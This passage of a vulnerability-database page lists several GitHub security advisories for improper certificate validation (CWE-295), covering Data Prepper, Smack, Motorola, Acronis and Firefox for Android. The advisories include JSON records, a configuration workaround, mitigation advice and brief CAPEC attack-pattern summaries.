        "name": "org.opensearch.dataprepper.plugins:opensearch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T20:09:53Z",
    "nvd_published_at": "2025-10-15T18:15:39Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe OpenSearch sink and source plugins in Data Prepper are configured to trust all SSL certificates by default when no certificate path was provided, making connections vulnerable to man-in-the-middle attacks.\n\nPrior to this fix, the OpenSearch sink and source plugins would automatically use a trust all SSL strategy when connecting to OpenSearch clusters if no certificate path was explicitly configured. This behavior bypassed SSL certificate validation, potentially allowing attackers to intercept and modify data in transit through man-in-the-middle attacks.\n\nThe vulnerability affects connections to OpenSearch when the `cert` parameter is not explicitly provided.\n\n### Patches\n\nData Prepper 2.12.2\n\n### Workarounds\n\nIf you cannot immediately upgrade to the fixed version, you can implement the following workaround.\n\n#### OpenSearch sink\n\nAdd the `cert` parameter to your OpenSearch sink configuration with the path to your cluster\u0027s CA certificate. The following example shows how to accomplish this.\n\n```\nsink:\n  - opensearch:\n      hosts: [\"https://your-opensearch-cluster:9200\"]\n      cert: /path/to/your/ca-certificate.pem\n```\n\n#### OpenSearch source\n\nAdd the `cert` parameter to your OpenSearch sink configuration with the path to your cluster\u0027s CA certificate. The following example shows how to accomplish this.\n\n```\nsink:\n  - opensearch:\n      hosts: [\"https://your-opensearch-cluster:9200\"]\n      connection:\n        cert: /path/to/your/ca-certificate.pem\n```\n\n\n### References\n\nN/A",
  "id": "GHSA-43ff-rr26-8hx4",
  "modified": "2025-10-15T20:09:53Z",
  "published": "2025-10-15T20:09:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opensearch-project/data-prepper/security/advisories/GHSA-43ff-rr26-8hx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62371"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opensearch-project/data-prepper/commit/98fcf0d0ff9c18f1f7501e11dbed918814724b99"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opensearch-project/data-prepper/commit/b0386a5af3fb71094ba6c86cd8b2afc783246599"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opensearch-project/data-prepper/commit/db11ce8f27ebca018980b2bca863f7173de9ce56"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opensearch-project/data-prepper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenSearch Data Prepper plugins trust all SSL certificates by default"
}

GHSA-444R-2XR3-RXHV

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11
VLAI
Details

The ServerTrustManager component in the Ignite Realtime Smack XMPP API before 4.0.0-rc1 does not verify basicConstraints and nameConstraints in X.509 certificate chains from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate chain.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-0363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-04-30T10:49:00Z",
    "severity": "MODERATE"
  },
  "details": "The ServerTrustManager component in the Ignite Realtime Smack XMPP API before 4.0.0-rc1 does not verify basicConstraints and nameConstraints in X.509 certificate chains from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate chain.",
  "id": "GHSA-444r-2xr3-rxhv",
  "modified": "2022-05-13T01:11:39Z",
  "published": "2022-05-13T01:11:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0363"
    },
    {
      "type": "WEB",
      "url": "http://community.igniterealtime.org/blogs/ignite/2014/04/17/asmack-400-rc1-has-been-released"
    },
    {
      "type": "WEB",
      "url": "http://issues.igniterealtime.org/browse/SMACK-410"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1176.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/59290"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/59291"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/489228"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/67119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4487-5MJ9-G5R6

Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47
VLAI
Details

The Motorola MH702x devices, prior to version 2.0.0.301, do not properly verify the server certificate during communication with the support server which could lead to the communication channel being accessible by an attacker.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-13T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Motorola MH702x devices, prior to version 2.0.0.301, do not properly verify the server certificate during communication with the support server which could lead to the communication channel being accessible by an attacker.",
  "id": "GHSA-4487-5mj9-g5r6",
  "modified": "2022-05-24T17:47:30Z",
  "published": "2022-05-24T17:47:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3460"
    },
    {
      "type": "WEB",
      "url": "https://motorolamentor.zendesk.com/hc/en-us/articles/1260804087249"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-44HQ-X6CH-XPG3

Vulnerability from github – Published: 2023-05-18 12:30 – Updated: 2023-05-18 12:30
VLAI
Details

Sensitive information disclosure and manipulation due to improper certification validation. The following products are affected: Acronis Agent (Windows) before build 29633, Acronis Cyber Protect 15 (Windows) before build 30984.

Severity
4.2 (Medium)
CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-45457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-18T10:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Sensitive information disclosure and manipulation due to improper certification validation. The following products are affected: Acronis Agent (Windows) before build 29633, Acronis Cyber Protect 15 (Windows) before build 30984.",
  "id": "GHSA-44hq-x6ch-xpg3",
  "modified": "2023-05-18T12:30:15Z",
  "published": "2023-05-18T12:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45457"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-3957"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-454W-5CF7-2XQX

Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-15 21:31
VLAI
Details

When a TLS Certificate error occurs on a domain protected by the HSTS header, the browser should not allow the user to bypass the certificate error. On Firefox for Android, the user was presented with the option to bypass the error; this could only have been done by the user explicitly.
This bug only affects Firefox for Android. Other operating systems are unaffected.. This vulnerability affects Firefox < 102.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-34469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-22T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "When a TLS Certificate error occurs on a domain protected by the HSTS header, the browser should not allow the user to bypass the certificate error. On Firefox for Android, the user was presented with the option to bypass the error; this could only have been done by the user explicitly. \u003cbr\u003e*This bug only affects Firefox for Android. Other operating systems are unaffected.*. This vulnerability affects Firefox \u003c 102.",
  "id": "GHSA-454w-5cf7-2xqx",
  "modified": "2025-04-15T21:31:25Z",
  "published": "2022-12-22T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34469"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1721220"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Mitigation
Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list